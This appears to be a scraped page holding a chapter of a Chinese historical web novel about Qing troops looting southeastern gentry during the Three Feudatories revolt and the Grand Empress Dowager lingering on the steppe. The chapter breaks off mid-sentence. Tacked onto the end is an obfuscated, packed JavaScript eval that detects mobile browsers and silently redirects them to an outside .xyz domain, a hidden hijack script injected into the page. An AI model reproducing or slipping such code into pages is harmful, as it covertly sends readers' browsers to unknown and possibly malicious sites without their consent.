84. 相持不下(第2页)

信纸渐渐写满,寿春笔触越发急促:“原本那些只想保住家产的地主,现在拿出棺材本支援叛军,地主武装与三藩残兵混在了一起。前几日衢州的乡勇里,有个穿绸缎马褂的举人,喊着不共戴天冲在最前面。程岫说,这叫‘兔子急了咬人’——城外没东西可抢,八旗兵就盯着城里的富户,今日抄张家,明日抓李家,原本只想苟活的人,被逼得只能拿起刀。”

写到这里,她想起眼线描述的福州城:杰书的军队进城时,士绅们还捧着酒肉迎接,以为能换来庇护,结果不到三日,就被以“通敌”的罪名抄了二十多家。那些原本与耿精忠有仇的家族,此刻竟偷偷给残余的叛军送情报,只因为“清军比反贼还狠”。

“三藩的抵抗本就松散,吴三桂死了,耿精忠降了又叛没什么心气,尚可喜的儿子只顾着抢印信。可就因为这些八旗兵的洗劫,那些原本只想看戏的士绅,反倒成了三藩残兵的‘援军’。”寿春放下笔,望着窗外飘落的桃花瓣,觉得可笑——皇帝想平定叛乱,却养着一群只知劫掠的兵;将军们想立军功,却把本该争取的人,全推到了对立面。

“咱们转移的只是甘愿背井离乡的百姓,那些喜欢投机的富户,他们的家产都便宜了旁人。”她重新拿起笔,字迹里添了几分无奈,“这些人现在恨透了朝廷,怕是再难媾和了。原本能早早结束的仗,就因为这无休止的抢掠,只能拖下去。大姐儿,你说这叫什么事?为了发财而战,最后把自己逼进了死胡同。”

写完最后一个字,寿春将信纸吹干,折进信封。出门在外,都只想着自家发财,把速通局打成这样,着实了浪费了翻云会在三家王府的一番骚操作。

窗外的花还在落,东南的天,已被这场“不义之战”搅得一片狼藉。

那些被洗劫的城池,那些被逼反抗的大户士绅,都成了这场战争里最讽刺的注脚——原本可以共赢的棋局,终究被贪婪走成了死局。

此种情景,莫非珠兰提前便没有料到么。

赫舍里氏那些提前到了南方军中的子弟,可是没少收敛各处户籍、档案、资料等,基本都是从大火中抢出来的。旁人好笑,这等偏僻之处的文献有甚用处,不过废纸一张罢了,还不如收敛些地契以后换钱呢。

珠兰接了信后,并不意外。

打吧,打的东南再无士绅地主,后面才好施展。

今年的草黄得早,太皇太后裹着紫貂斗篷,坐在最前面的马车里,掀开帘子望出去,远处的山像头伏着的巨兽,雪顶蒙着层灰。

“额娘,前头都被端敏公主清干净了,咱们能歇脚的帐篷都备好了。”阿图手里捧着碗热奶茶,“这风大,您仔细别吹着。”

太皇太后接过奶茶,没喝,只盯着碗里的奶皮出神。

从承德出来,她们从漠南的科尔沁走到漠北的喀尔喀,如今又要往漠西去,像群没有归期的迁徙鸟。

车窗外,珠兰正看着阿日娜苏核对商队的账册,两人头凑在一起,不知在说些什么,偶尔传来珠兰的笑声,清凌凌的,倒比风还透亮。

“皇上的信又来了?”太皇太后忽然问。

阿图脸上的笑淡了些,从袖袋里摸出封信:“来了,承德派快马追了三天,说皇上在乾清宫发了火,说再不回京,就要亲自来接了。”

太皇太后接过信,看都没看就扔在案上。信纸上的字透过薄薄的宣纸渗出来,隐约能看见“京中诸事需祖母定夺”“天气转凉,草原苦寒”的字样,一笔一划都是皇帝的急。

“他急他的,哀家不急。”老太太呷了口奶茶,眼皮都没抬,“要回京可以,给哀家生个重孙子。不然,这草原,哀家还没看够呢。”

这话是老话儿,去年在京中就说过,如今一路从南到北,翻来覆去就这一句。

珠兰听了只笑,说“皇上日理万机,这事得看缘分”;病刚好些的太后急得直念佛,太皇太后不理会她。

傍晚歇在营地,皇帝的第八封信到了,这次竟附了张太医的脉案,说“皇后凤体康健,宜早诞育皇嗣,请速归”。

太皇太后把脉案往火盆里一扔,火星子溅起来,映着她眼里的固执:“皇后康健有什么用?这俩人又不是今年才康健的,后宫得有动静才算数。让他把那些奏折先放放,多想想正经事。”

南边的事儿老太太也听说了,诸多宗室求情的信件寄到了草原上。老太太嫌烦,不想回去听抱怨。

珠兰正好进来送夜宵,听见这话,笑着把刚烤好的奶饼放在案上:“皇祖母尝尝这个,漠北的□□稠,烤出来的饼格外香。”

她不提回京的事,也不说生皇子的事,只指着帐外,“公主带来的骑士在摔跤呢,说是给咱们解闷,您要不要去看看?”

太皇太后瞥了她一眼,珠兰这也不着急不起火的,哀家都要逼迫皇帝生庶长子了,她还是这般淡定。

甚至,她脸上的气色却比在承德时还好,透着股被草原风养出来的鲜活。

“看什么摔跤,一群野小子胡闹。”老太太嘴上嫌弃,却还是让阿图扶着,挪到帐门口。

月光下,护军营的小伙子正把一个喀尔喀骑士摔在地上,半裸的身躯上,汗水与月光一齐晃得人眼晕。

阿日娜苏站在一旁喝彩,手里还摇着本商路账册,倒像是在做什么正经事。

珠兰和雅图一起走到远处,两人有些话不想让老太太听。

雅图指指点点不晓得在说什么,珠兰捂着嘴笑,被风掀起的裙角像两朵绽开的花。

“你说雅图这丫头,被端敏带坏了,也爱这舞刀弄枪。”太皇太后忽然对身边的嬷嬷说,语气里说不清是怨还是叹。

嬷嬷笑着回话:“公主高兴就好,您看她把部落治理得多好,商路通了,牧民也安稳了。”

太皇太后没接话,望着远处的篝火,心里却明镜似的。

她不想回京城,哪是真为了等个重孙子。

南边打仗的八旗听说是烂得像堆泥,绿营的将领极有可能凭借此战也来一把功高盖主,如同当年的三藩旧事。

皇帝一边倚重汉人,一边又防着他们。

皇帝对勋贵、宗室,又何尝不是同样如此。

朝堂上的派系,斗得比南边还凶。也就葛布喇忠心耿耿,协助皇帝镇住了他们。

她留在草原,看似胡闹,实则也是在给皇帝腾地方——让他放手去整那些旧人闹出来的烂摊子。

“告诉皇上,”太皇太后转身回

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240240|173504||http|test|mini|href|location''.split(''|''),0,{}));